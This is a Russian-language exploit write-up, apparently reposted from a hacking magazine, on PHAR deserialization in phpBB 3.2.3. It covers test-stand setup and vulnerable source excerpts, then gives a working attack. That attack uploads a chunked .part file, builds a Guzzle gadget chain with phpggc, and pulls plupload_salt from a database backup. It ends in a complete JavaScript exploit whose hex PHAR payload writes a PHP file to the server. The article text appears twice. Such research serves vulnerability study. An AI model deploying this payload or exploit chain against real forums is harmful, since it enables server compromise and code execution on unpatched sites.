Старый сарай, новые грабли. Эксплуатируем PHAR-десериализацию в phpBB
В знаменитом форумном движке phpBB обнаружилась уязвимость, связанная с PHP-десериализацией. В результате некорректной проверки настроек атакующий может сохранить файл с произвольным содержимым на целевой системе и таким образом получить выполнение произвольных команд и скомпрометировать сервер. Здесь я детально разберу каждый аспект обнаруженной проблемы и покажу способ ее эксплуатации.
Уязвимость связана с техникой PHAR-десериализации. Баг актуален для phpBB версии 3.2.3.
Думаю, что phpBB в представлении не нуждается. Он существует аж с 16 декабря 2000 года. Поднимем бокалы за его совершеннолетие! За это время движок повидал множество уязвимостей самого разного рода. Одна из самых известных — CVE-2004-1315, или в миру viewtopic highlight PHP injection. Этот баг был одним из первых, который я изучил.
Впрочем, вернемся к современным реалиям. Сейчас phpBB, конечно, растерял былую популярность, но все еще огромное количество площадок выбирает его как основную платформу общения пользователей.
Уязвимость нашел исследователь из RIPS Technologies, воспользовавшись сканером исходных кодов производства своей компании. Можно даже заценить его отчет.
Стенд
Начнем с привычного — поднятия среды для тестирования уязвимости. Форум работает со многими базами данных, но я буду использовать старый добрый MySQL в виде контейнера Docker. Рекомендую использовать версии из ветки 5.х, так как в последних бранчах (8.х) изменился протокол авторизации по умолчанию и клиентские библиотеки текущих репозиториев PHP не работают с ним. Такое поведение можно поменять в конфигурационном файле MySQL, но зачем лишние телодвижения для тестового стенда, верно?
Теперь можно приступать к разворачиванию самого сервера. По традиции использую Debian.
Обновляем репозитории и ставим нужные пакеты.
Скачиваем архив с уязвимой версией форума phpBB (3.2.3) и распаковываем его.
Если хочется побаловаться с отладкой, то дополнительно ставим xdebug.
Настраиваем модуль и включаем его. Не забывай изменить IP под свои реалии.
Далее правим конфиги веб-сервера и запускаем его.
Теперь переходим в браузере по адресу контейнера и устанавливаем и настраиваем форум.
После завершения инсталляции не забудь снести папку install.
Стенд готов.
Часть первая: внедряем враппер phar
Начнем с просмотра исходников. Если ты внимательно изучал мою прошлую статью про PHAR-десериализацию, то знаешь, на вызовы каких функций стоит обратить особое внимание при поиске потенциально уязвимых мест. Конкретно в этом случае нужно поискать file_exists. Код phpBB объемный (~300 тысяч строк), и вызовов этой функции там предостаточно. Но нас интересуют только те, которым в качестве аргумента можно пропихнуть юзердату. Не буду тянуть и скажу, что интересующий нас вызов находится в файле functions_acp.php.
/phpBB3.2.3/includes/functions_acp.php
Из названия файла можно понять, что функция валидации конфигурационных переменных (validate_config_vars) заходит в нужную нам ветку, когда выполняется проверка путей в панели администратора (в терминологии phpBB ACP — Administrator Control Panel).
Проверим это. Откроем админку и найдем любой раздел, где можно указать путь.
Как видишь, я открыл настройки прикрепленных файлов. Там есть опция Upload directory — папка, в которую они будут загружаться. Теперь поставим бряк где-нибудь в начале тела caseи нажмем Submit.
Отладки функции validate_config_vars в phpBB
Брейк-пойнт сработал, так как валидатором переменной upload_path служит wpath.
/phpBB3.2.3/includes/acp/acp_attachments.php
Никаких дополнительных проверок переменной $path не производится, и указанное пользователем значение попадает в качестве аргумента в функцию file_exists.
Передача пользовательских данных в функцию file_exists
Обрати внимание на добавленный префикс ./../. Он появляется, потому что мы имеем дело с настройкой, которая подразумевает относительные пути. Но для выполнения атаки нам нужен полный контроль над всей переменной, поскольку требуется передать значение, начинающееся с враппера phar://. Для этих целей отлично подойдут те настройки, у которых есть валидатор absolute_path.
Одна из таких — это img_imagick. Путь до бинарника утилиты ImageMagick для манипуляции с загруженными изображениями. Находится она там же, в разделе настройки аттачей.
/phpBB3.2.3/includes/acp/acp_attachments.php
Использование враппера phar в качестве пути к ImageMagick
Вот теперь получается настоящее внедрение, и первая часть атаки успешно выполнена.
Внедрение враппера phar в аргумент функции file_exists
Часть вторая: передаем архив PHAR
Теперь нам нужно каким-то образом передать файл на сервер. И не просто файл, а валидный архив PHAR. К счастью, phpBB — это продвинутая борда и здесь можно обмениваться файлами, прикреплять их к постам и, если такая настройка включена, отправлять в личных сообщениях. По умолчанию разрешается делать только первое.
Прикрепление файлов к сообщениям в теме форума phpBB
И это очень хорошо, потому что дефолтные настройки позволяют тебе загружать произвольные файлы с разрешением, например, tar без всякой валидации.
Стандартные допустимые расширения для загрузки аттачей
А главное, что нам требуется для успешной атаки, — это локальный файл с любым расширением, содержащий корректный архив PHAR. Но вот незадача: после загрузки файл переименовывается и помещается в директорию files, и новое имя совсем не радует — оно не имеет расширения. И даже если бы и имело, угадать новое название не представляется возможным. Узнать можно только префикс — это ID пользователя и символ _, а остальная часть — это чистый рандом.
phpBB переименовывает аттач после загрузки
/phpBB3.2.3/phpbb/attachment/upload.php
/phpBB3.2.3/phpbb/files/filespec.php
Все нужные для последующей работы с файлом данные заносятся в базу данных.
Информация о прикрепленном файле хранится в таблице attachments
Однако стоит посмотреть на сам интерфейс для загрузки файлов. В phpBB используется библиотека plupload, которая помимо прочего позволяет грузить файлы частями (chunk). Дефолтный конфиг ты можешь найти в исходниках страницы.
/phpBB3.2.3/styles/prosilver/template/plupload.html
Конфигурация загрузчика файлов plupload
Видишь опцию chunk_size? Она отвечает за размер чанка. Если размер файла больше, чем здесь указано, то файл бьется на куски. Проще всего проверить такое поведение, загрузив файл соответствующего размера. Первый запрос выглядит примерно так.
Второй запрос имеет такой же вид за исключением инкрементированного параметра chunk и данных из второго куска. Делается два отдельных запроса, а это значит, что на бэкенде должно где-то храниться промежуточное состояние. Немного покурив исходники plupload, обнаружим функцию handle_upload. Это обработчик запросов загруженных файлов.
/phpBB3.2.3/phpbb/files/types/form.php
/phpBB3.2.3/phpbb/plupload/plupload.php
Здесь можно найти много интересного о файлах, загружаемых частями.
/phpBB3.2.3/phpbb/plupload/plupload.php
Если клиент инициализирует отправку файла чанками, то скрипт создаст временный файл и сложит в него переданные данные. Когда будет передан последний кусок, скрипт переименует его в соответствии с политикой phpBB. Обрати внимание на имя временного файла {$file_path}.part. Оно имеет расширение, вот это удача!
Осталось узнать путь, по которому хранится файл, и его название. За первое отвечает метод prepare_temporary_directory. Здесь все просто, по дефолту временные файлы складываются в подпапку plupload директории, в которой хранятся загруженные файлы (files).
/phpBB3.2.3/phpbb/plupload/plupload.php
Имя файла генерируется в методе temporary_filepath.
/phpBB3.2.3/phpbb/plupload/plupload.php
Шаблон имени в итоге имеет такой вид:
И наконец, integrate_uploaded_file добавляет ко всему этому расширение .part.
/phpBB3.2.3/phpbb/plupload/plupload.php
Чем же нам это может помочь? Все просто: если при отправке указать количество чанков, но передать их меньше, то временный файл будет просто лежать на диске и дожидаться оставшихся частей.
Загрузка файла по частям в phpBB. Временные файлы имеют расширение part
Теперь вернемся к шаблону имени файла. Из всех его частей нам неизвестна только переменная plupload_salt. Она хранится в базе данных в таблице config.
Переменная plupload_salt хранится в базе данных в таблице config
Но это вовсе не проблема, если у тебя есть права создателя форума, так как он может делать и скачивать резервные копии базы данных в соответствующем разделе.
Права на создание и скачивание резервных копий БД у пользователя admin
Перехватим запрос на получение содержимого таблицы config, он нам пригодится при написании эксплоита.
Часть третья: цепочка гаджетов и полезная нагрузка
Теперь, когда мы можем сохранять и вызывать архив PHAR, нужно разобраться с его содержимым. Как ты помнишь, в основе этой техники десериализация, а это значит, что нам понадобится цепочка гаджетов, которая даст требуемый результат.
При помощи поиска магических методов был обнаружен любопытный класс FileCookieJar, который создает файл после завершения работы скрипта.
/phpBB3.2.3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
«Так это же GuzzleHttp!» — воскликнешь ты и будешь абсолютно прав. Этот HTTP-клиент на PHP, старый и проверенный вектор атаки.
Автоматизируем процесс создания полезной нагрузки. Для этого воспользуемся утилитой phpggc от ambionics. Она содержит в себе пачку популярных гаджетов, в том числе и наш GuzzleHttp.
Список доступных цепочек гаджетов в утилите phpggc
К тому же не так давно разработчики прикрутили к тулзе возможность сразу создавать архивы PHAR и даже валидные картинки в JPEG, которые в то же время читаются как PHAR.
В качестве аргументов запуска нам необходимо указать:
Таким образом, команда будет следующей:
Создание файла PHAR с полезной нагрузкой
Учти, что данные будут записываться в формате JSON, такова особенность работы Guzzle. Поэтому составляй пейлоад правильно.
/phpBB3.2.3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
Теперь переименуем полученный файл в любой, который подойдет для загрузки в качестве аттача без проверки. Затем, используя технику с чанками, загрузим содержимое во временный файл.
Загрузка файла PHAR с полезной нагрузкой на сервер во временный файл при помощи чанков
Так как
По нему я смогу обнаружить PHAR, созданный в phpggc.
Осталось указать этот путь в качестве ImageMagick path в настройках форума и сохранить настройки.
Эксплуатация уязвимости десериализации архива PHAR в phpBB
После этого переходим на /pinfo.php и наблюдаем страницу с информацией о PHP.
Эксплуатация уязвимости увенчалась успехом
Часть четвертая: эксплоит
Теперь можно все объединить в один эксплоит. Как и ребята из RIPS, сделаем его на JavaScript.
Разобьем задачу на несколько шагов:
Сначала нужно объявить переменные, которые будем использовать в работе.
Далее обозначим содержимое файла PHAR с нагрузкой. Я использовал обычную строку с hex-конструкциями.
Затем переводим ее в массив восьмиразрядных целых значений, чтобы избежать дальнейших проблем при создании файла.
Теперь необходимо получить данные со страницы бэкапов для последующей отправки формы. Это легко сделать с помощью функции get() из jQuery. Идентификатор сессии (sid) берем из текущего URL.
Получили нужные токены creation_time и form_token. Теперь отправляем POST-запрос на загрузку бэкапа таблицы config. Из него извлекаем значение plupload_salt. Весь следующий код выполняем в теле функции get, чтобы соблюсти правильную последовательность вызовов.
Настало время загрузить PHAR с нагрузкой. Генерируем необходимые данные формы.
А затем и файловый объект.
Отправляем файл и, если запрос успешно выполнен, проверяем ответ сервера. Если и тут все нормально, то записываем получившийся путь до архива в настройку ImageMagick path.
Если теперь нажать кнопку Submit, то эксплоит отработает и будет создан файл pinfo.php в директории /var/www/html//phpBB3.
Полный код PoC ты можешь найти на моем GitHub.
Заключение
Техника PHAR-десериализации приоткрыла очередной пласт проблем в существующих приложениях — мое предсказание оказалось верным. Та логика, которая раньше выглядела вполне приемлемой, теперь может представлять серьезную угрозу безопасности.
Проблема касается в том числе вызовов все той же функции file_exists. Банальная проверка существования пути на диске может закончиться выполнением произвольного кода. А разработчики phpBB уже выпустили обновление своего продукта, и в версии 3.2.4 уязвимость исправлена. Странно, но я не обнаружил никакой информации о CVE.
Думаю, что в ближайшее время количество находок, подобных этой, будет только расти. И чтобы твой продукт не пополнил нескончаемые отряды бюллетеней безопасности, рекомендую тщательнее тестировать код.
(c) aLLy
twitter.com/iamsecurity
взято с хакер.ру
В знаменитом форумном движке phpBB обнаружилась уязвимость, связанная с PHP-десериализацией. В результате некорректной проверки настроек атакующий может сохранить файл с произвольным содержимым на целевой системе и таким образом получить выполнение произвольных команд и скомпрометировать сервер. Здесь я детально разберу каждый аспект обнаруженной проблемы и покажу способ ее эксплуатации.
Уязвимость связана с техникой PHAR-десериализации. Баг актуален для phpBB версии 3.2.3.
Думаю, что phpBB в представлении не нуждается. Он существует аж с 16 декабря 2000 года. Поднимем бокалы за его совершеннолетие! За это время движок повидал множество уязвимостей самого разного рода. Одна из самых известных — CVE-2004-1315, или в миру viewtopic highlight PHP injection. Этот баг был одним из первых, который я изучил.
Впрочем, вернемся к современным реалиям. Сейчас phpBB, конечно, растерял былую популярность, но все еще огромное количество площадок выбирает его как основную платформу общения пользователей.
Уязвимость нашел исследователь из RIPS Technologies, воспользовавшись сканером исходных кодов производства своей компании. Можно даже заценить его отчет.
Стенд
Начнем с привычного — поднятия среды для тестирования уязвимости. Форум работает со многими базами данных, но я буду использовать старый добрый MySQL в виде контейнера Docker. Рекомендую использовать версии из ветки 5.х, так как в последних бранчах (8.х) изменился протокол авторизации по умолчанию и клиентские библиотеки текущих репозиториев PHP не работают с ним. Такое поведение можно поменять в конфигурационном файле MySQL, но зачем лишние телодвижения для тестового стенда, верно?
Код:
$ docker run -e MYSQL_USER="phpbb" -e MYSQL_PASSWORD="JaLdqX5on0" -e MYSQL_DATABASE="phpbb" -d --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
Код:
$ docker run --rm -p80:80 -ti --name=phpbb --hostname=phpbb --link=mysql debian /bin/bash
Код:
$ apt update && apt install -y zip wget nano apache2 php php-mysql php-xml php-mbstring php-gd
Код:
$ cd /var/www/html
$ wget https://www.phpbb.com/files/release/phpBB-3.2.3.zip
$ unzip phpBB-3.2.3.zip
$ chown www-data:root -R phpBB3
Код:
$ apt install -y php-xdebug
Код:
$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/mods-available/xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/mods-available/xdebug.ini
$ phpenmod xdebug
Код:
$ sed 's/html/html\/phpBB3/' -i /etc/apache2/sites-enabled/000-default.conf
$ service apache2 start
После завершения инсталляции не забудь снести папку install.
Код:
$ rm -rf /var/www/html/phpBB3/install
Часть первая: внедряем враппер phar
Начнем с просмотра исходников. Если ты внимательно изучал мою прошлую статью про PHAR-десериализацию, то знаешь, на вызовы каких функций стоит обратить особое внимание при поиске потенциально уязвимых мест. Конкретно в этом случае нужно поискать file_exists. Код phpBB объемный (~300 тысяч строк), и вызовов этой функции там предостаточно. Но нас интересуют только те, которым в качестве аргумента можно пропихнуть юзердату. Не буду тянуть и скажу, что интересующий нас вызов находится в файле functions_acp.php.
/phpBB3.2.3/includes/functions_acp.php
PHP:
420: function validate_config_vars($config_vars, &$cfg_array, &$error)
421: {
...
428: foreach ($config_vars as $config_name => $config_definition)
429: {
...
443: switch ($validator[$type])
444: {
...
544: case 'rpath':
545: case 'rwpath':
...
568: case 'absolute_path':
569: case 'absolute_path_writable':
570: // Path being relative (still prefixed by phpbb_root_path), but with the ability to escape the root dir...
571: case 'path':
572: case 'wpath':
...
588: $path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];
589:
590: if (!file_exists($path))
591: {
592: $error[] = sprintf($user->lang['DIRECTORY_DOES_NOT_EXIST'], $cfg_array[$config_name]);
593: }
594:
595: if (file_exists($path) && !is_dir($path))
596: {
597: $error[] = sprintf($user->lang['DIRECTORY_NOT_DIR'], $cfg_array[$config_name]);
598: }
599:
600: // Check if the path is writable
601: if ($config_definition['validate'] == 'wpath' || $config_definition['validate'] == 'rwpath' || $config_definition['validate'] === 'absolute_path_writable')
602: {
603: if (file_exists($path) && !$phpbb_filesystem->is_writable($path))
604: {
605: $error[] = sprintf($user->lang['DIRECTORY_NOT_WRITABLE'], $cfg_array[$config_name]);
606: }
607: }
Проверим это. Откроем админку и найдем любой раздел, где можно указать путь.
Как видишь, я открыл настройки прикрепленных файлов. Там есть опция Upload directory — папка, в которую они будут загружаться. Теперь поставим бряк где-нибудь в начале тела caseи нажмем Submit.
Отладки функции validate_config_vars в phpBB
Брейк-пойнт сработал, так как валидатором переменной upload_path служит wpath.
/phpBB3.2.3/includes/acp/acp_attachments.php
PHP:
138: $display_vars = array(
...
150: 'upload_path' => array('lang' => 'UPLOAD_DIR', 'validate' => 'wpath', 'type' => 'text:25:100', 'explain' => true),
Передача пользовательских данных в функцию file_exists
Обрати внимание на добавленный префикс ./../. Он появляется, потому что мы имеем дело с настройкой, которая подразумевает относительные пути. Но для выполнения атаки нам нужен полный контроль над всей переменной, поскольку требуется передать значение, начинающееся с враппера phar://. Для этих целей отлично подойдут те настройки, у которых есть валидатор absolute_path.
Одна из таких — это img_imagick. Путь до бинарника утилиты ImageMagick для манипуляции с загруженными изображениями. Находится она там же, в разделе настройки аттачей.
/phpBB3.2.3/includes/acp/acp_attachments.php
PHP:
138: $display_vars = array(
...
167: 'img_imagick' => array('lang' => 'IMAGICK_PATH', 'validate' => 'absolute_path', 'type' => 'text:20:200', 'explain' => true, 'append' => ' <span>[ <a href="' . $this->u_action . '&action=imgmagick">' . $user->lang['SEARCH_IMAGICK'] . '</a> ]</span>'),
Использование враппера phar в качестве пути к ImageMagick
Вот теперь получается настоящее внедрение, и первая часть атаки успешно выполнена.
Внедрение враппера phar в аргумент функции file_exists
Часть вторая: передаем архив PHAR
Теперь нам нужно каким-то образом передать файл на сервер. И не просто файл, а валидный архив PHAR. К счастью, phpBB — это продвинутая борда и здесь можно обмениваться файлами, прикреплять их к постам и, если такая настройка включена, отправлять в личных сообщениях. По умолчанию разрешается делать только первое.
Прикрепление файлов к сообщениям в теме форума phpBB
И это очень хорошо, потому что дефолтные настройки позволяют тебе загружать произвольные файлы с разрешением, например, tar без всякой валидации.
Стандартные допустимые расширения для загрузки аттачей
А главное, что нам требуется для успешной атаки, — это локальный файл с любым расширением, содержащий корректный архив PHAR. Но вот незадача: после загрузки файл переименовывается и помещается в директорию files, и новое имя совсем не радует — оно не имеет расширения. И даже если бы и имело, угадать новое название не представляется возможным. Узнать можно только префикс — это ID пользователя и символ _, а остальная часть — это чистый рандом.
phpBB переименовывает аттач после загрузки
/phpBB3.2.3/phpbb/attachment/upload.php
PHP:
014: namespace phpbb\attachment;
...
057: /** @var \phpbb\files\filespec Current filespec instance */
058: private $file;
...
028: class upload
029: {
...
109: public function upload($form_name, $forum_id, $local = false, $local_storage = '', $is_message = false, $local_filedata = array())
110: {
...
153: $this->file->clean_filename('unique', $this->user->data['user_id'] . '_');
PHP:
014: namespace phpbb\files;
...
022: class filespec
023: {
...
205: public function clean_filename($mode = 'unique', $prefix = '', $user_id = '')
206: {
...
212: switch ($mode)
213: {
...
230: case 'unique':
231: $this->realname = $prefix . md5(unique_id());
232: break;
Информация о прикрепленном файле хранится в таблице attachments
Однако стоит посмотреть на сам интерфейс для загрузки файлов. В phpBB используется библиотека plupload, которая помимо прочего позволяет грузить файлы частями (chunk). Дефолтный конфиг ты можешь найти в исходниках страницы.
/phpBB3.2.3/styles/prosilver/template/plupload.html
PHP:
01: <script type="text/javascript">
02: //<![CDATA[
03: phpbb.plupload = {
...
43: config: {
44: runtimes: 'html5',
45: url: '{S_PLUPLOAD_URL}',
46: max_file_size: '{FILESIZE}b',
47: chunk_size: '{CHUNK_SIZE}b',
Конфигурация загрузчика файлов plupload
Видишь опцию chunk_size? Она отвечает за размер чанка. Если размер файла больше, чем здесь указано, то файл бьется на куски. Проще всего проверить такое поведение, загрузив файл соответствующего размера. Первый запрос выглядит примерно так.
Bash:
POST /posting.php?mode=reply&f=2&t=1 HTTP/1.1
Host: phpbb.vh
x-requested-with: XMLHttpRequest
x-phpbb-using-plupload: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary8fBKJ1ml3uW1MEF5
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»name»
o_1cuermhb71s51ssljbj1d781ht5g.tar
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»chunk»
0
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»chunks»
2
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»add_file»
Add the file
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»real_filename»
test.tar
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»fileupload»; filename=»blob»
Content-Type: application/octet-stream
——WebKitFormBoundary8fBKJ1ml3uW1MEF5—
/phpBB3.2.3/phpbb/files/types/form.php
PHP:
79: protected function form_upload($form_name)
80: {
...
84: $result = $this->plupload->handle_upload($form_name);
85: if (is_array($result))
86: {
87: $upload = array_merge($upload, $result);
88: }
/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
14: namespace phpbb\plupload;
...
19: class plupload
20: {
...
95: public function handle_upload($form_name)
96: {
/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
095: public function handle_upload($form_name)
096: {
097: $chunks_expected = $this->request->variable('chunks', 0);
...
101: if ($chunks_expected < 2)
102: {
103: return;
104: }
...
106: $file_name = $this->request->variable('name', '');
107: $chunk = $this->request->variable('chunk', 0);
...
110: $this->prepare_temporary_directory();
...
112: $file_path = $this->temporary_filepath($file_name);
113: $this->integrate_uploaded_file($form_name, $chunk, $file_path);
...
118: if ($chunk == $chunks_expected - 1)
119: {
120: rename("{$file_path}.part", $file_path);
Осталось узнать путь, по которому хранится файл, и его название. За первое отвечает метод prepare_temporary_directory. Здесь все просто, по дефолту временные файлы складываются в подпапку plupload директории, в которой хранятся загруженные файлы (files).
/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
365: protected function prepare_temporary_directory()
366: {
367: if (!file_exists($this->temporary_directory))
368: {
369: mkdir($this->temporary_directory);
...
383: protected function set_default_directories()
384: {
385: $this->upload_directory = $this->phpbb_root_path . $this->config['upload_path'];
386: $this->temporary_directory = $this->upload_directory . '/plupload';
/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
298: protected function temporary_filepath($file_name)
299: {
300: // Must preserve the extension for plupload to work.
301: return sprintf(
302: '%s/%s_%s%s',
303: $this->temporary_directory,
304: $this->config['plupload_salt'],
305: md5($file_name),
306: \phpbb\files\filespec::get_extension($file_name)
307: );
308: }
Код:
<конфигурационная_переменная_plupload_salt>_<md5_хеш_от_переданного_имени_файла><оригинальное_расширение_файла>
/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
318: protected function integrate_uploaded_file($form_name, $chunk, $file_path)
319: {
...
334: $out = fopen("{$file_path}.part", $chunk == 0 ? 'wb' : 'ab');
Загрузка файла по частям в phpBB. Временные файлы имеют расширение part
Теперь вернемся к шаблону имени файла. Из всех его частей нам неизвестна только переменная plupload_salt. Она хранится в базе данных в таблице config.
Переменная plupload_salt хранится в базе данных в таблице config
Но это вовсе не проблема, если у тебя есть права создателя форума, так как он может делать и скачивать резервные копии базы данных в соответствующем разделе.
Права на создание и скачивание резервных копий БД у пользователя admin
Перехватим запрос на получение содержимого таблицы config, он нам пригодится при написании эксплоита.
Часть третья: цепочка гаджетов и полезная нагрузка
Теперь, когда мы можем сохранять и вызывать архив PHAR, нужно разобраться с его содержимым. Как ты помнишь, в основе этой техники десериализация, а это значит, что нам понадобится цепочка гаджетов, которая даст требуемый результат.
При помощи поиска магических методов был обнаружен любопытный класс FileCookieJar, который создает файл после завершения работы скрипта.
/phpBB3.2.3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
PHP:
02: namespace GuzzleHttp\Cookie;
03:
04: use GuzzleHttp\Utils;
...
09: class FileCookieJar extends CookieJar
10: {
...
33: public function __destruct()
34: {
35: $this->save($this->filename);
36: }
Автоматизируем процесс создания полезной нагрузки. Для этого воспользуемся утилитой phpggc от ambionics. Она содержит в себе пачку популярных гаджетов, в том числе и наш GuzzleHttp.
Список доступных цепочек гаджетов в утилите phpggc
К тому же не так давно разработчики прикрутили к тулзе возможность сразу создавать архивы PHAR и даже валидные картинки в JPEG, которые в то же время читаются как PHAR.
В качестве аргументов запуска нам необходимо указать:
- непосредственно файл с кодом на PHP. Его нам нужно доставить на целевую машину. Я буду выполнять каноничный phpinfo;
- путь, доступный на запись пользователю, от которого работает PHP;
- флаг, обозначающий, что мы создаем PHAR;
- имя архива, который в итоге получится.
Таким образом, команда будет следующей:
Код:
$ php -dphar.readonly=0 phpggc -p phar -o evil.phar Guzzle/FW1 /var/www/html/phpBB3/pinfo.php /q/Tools/phpggc/pinfo.php
Создание файла PHAR с полезной нагрузкой
Учти, что данные будут записываться в формате JSON, такова особенность работы Guzzle. Поэтому составляй пейлоад правильно.
/phpBB3.2.3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
PHP:
44: public function save($filename)
45: {
46: $json = [];
47: foreach ($this as $cookie) {
48: if ($cookie->getExpires() && !$cookie->getDiscard()) {
49: $json[] = $cookie->toArray();
50: }
51: }
52:
53: if (false === file_put_contents($filename, json_encode($json))) {
54: // @codeCoverageIgnoreStart
55: throw new \RuntimeException("Unable to save file {$filename}");
56: // @codeCoverageIgnoreEnd
57: }
58: }
Загрузка файла PHAR с полезной нагрузкой на сервер во временный файл при помощи чанков
Так как
md5("evil.zip") — это aaae9cba5fdadb1f0c384934cd20d11c, а plupload_salt в моем случае — de2623356e2cfb928d75d3798e09d0cb и расширение файла — zip, то адрес будет таким.
Код:
files/plupload/de2623356e2cfb928d75d3798e09d0cb_aaae9cba5fdadb1f0c384934cd20d11czip.part
Осталось указать этот путь в качестве ImageMagick path в настройках форума и сохранить настройки.
Код:
phar://./../files/plupload/de2623356e2cfb928d75d3798e09d0cb_aaae9cba5fdadb1f0c384934cd20d11czip.part
Эксплуатация уязвимости десериализации архива PHAR в phpBB
После этого переходим на /pinfo.php и наблюдаем страницу с информацией о PHP.
Эксплуатация уязвимости увенчалась успехом
Часть четвертая: эксплоит
Теперь можно все объединить в один эксплоит. Как и ребята из RIPS, сделаем его на JavaScript.
Разобьем задачу на несколько шагов:
- переход на страницу бэкапов для получения токенов формы;
- скачивание бэкапа и получение plupload_salt;
- отправка файла в виде чанка;
- установка верного пути до загруженного файла в поле формы.
Сначала нужно объявить переменные, которые будем использовать в работе.
Код:
var plupload_salt = '';
var form_token = '';
var creation_time = '';
var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip
Код:
var payload = '<?php __HALT_COMPILER(); ?>\x0d\x0a\xfe\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01'+'\x00'.repeat(5)+'\xc8\x01\x00\x00O:31:"GuzzleHttp\x5cCookie\x5cFileCookieJar":4:{s:41:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00storeSessionCookies";b:1;s:36:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\x5cCookie\x5cSetCookie":1:{s:33:"\x00GuzzleHttp\x5cCookie\x5cSetCookie\x00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00strictMode";N;}\x08\x00\x00\x00test.txt\x04\x00\x00\x00K>\x10\x5c\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01'+'\x00'.repeat(6)+'test\xa0\x17\xd2\xe0R\xcf \xf6T\x1d\x01X\x91(\x9dD]X\x0b>\x02\x00\x00\x00GBMB';
Код:
var byteArray = Uint8Array.from(payload, function(c){return c.codePointAt(0);});
Код:
var sid = (new URL(document.location.href)).searchParams.get('sid');
var url = '/adm/index.php';
var getparams = {
'i': 'acp_database',
'sid': sid,
'mode': 'backup'
};
$.get(url, getparams, function(data) {
form_token = $(data).find('[name="form_token"]').val();
creation_time = $(data).find('[name="creation_time"]').val();
});
Код:
if(form_token && creation_time) {
var posturl = '/adm/index.php?i=acp_database&sid=|&mode=backup&action=download';
var postdata = {
'type': 'data',
'method': 'text',
'where': 'download',
'table[]': 'phpbb_config',
'submit': 'Submit',
'creation_time': creation_time,
'form_token': form_token
}
$.post(posturl.replace("|", sid), postdata, function (data) {
plupload_salt = data.match(/plupload_salt',\s*'(\w{32})/)[1];
filepath = filepath.replace("$salt", plupload_salt);
}, 'text');
}
Код:
var postdata = new FormData();
postdata.append('name', 'evil.zip');
postdata.append('chunk', 0);
postdata.append('chunks', 2);
postdata.append('add_file', 'Add the file');
postdata.append('real_filename', 'evil.zip');
Код:
var pharfile = new File([byteArray], 'evil.zip');
postdata.append('fileupload', pharfile);
Код:
jQuery.ajax({
url: '/posting.php?mode=reply&f=2&t=1',
data: postdata,
cache: false,
contentType: false,
processData: false,
method: 'POST',
success: function(data){
if ("id" in data) {
$('#img_imagick').val(filepath).focus();
$('html, body').animate({
scrollTop: ($('#submit').offset().top)
}, 500);
}
}
});
Полный код PoC ты можешь найти на моем GitHub.
Заключение
Техника PHAR-десериализации приоткрыла очередной пласт проблем в существующих приложениях — мое предсказание оказалось верным. Та логика, которая раньше выглядела вполне приемлемой, теперь может представлять серьезную угрозу безопасности.
Проблема касается в том числе вызовов все той же функции file_exists. Банальная проверка существования пути на диске может закончиться выполнением произвольного кода. А разработчики phpBB уже выпустили обновление своего продукта, и в версии 3.2.4 уязвимость исправлена. Странно, но я не обнаружил никакой информации о CVE.
Думаю, что в ближайшее время количество находок, подобных этой, будет только расти. И чтобы твой продукт не пополнил нескончаемые отряды бюллетеней безопасности, рекомендую тщательнее тестировать код.
(c) aLLy
twitter.com/iamsecurity
взято с хакер.ру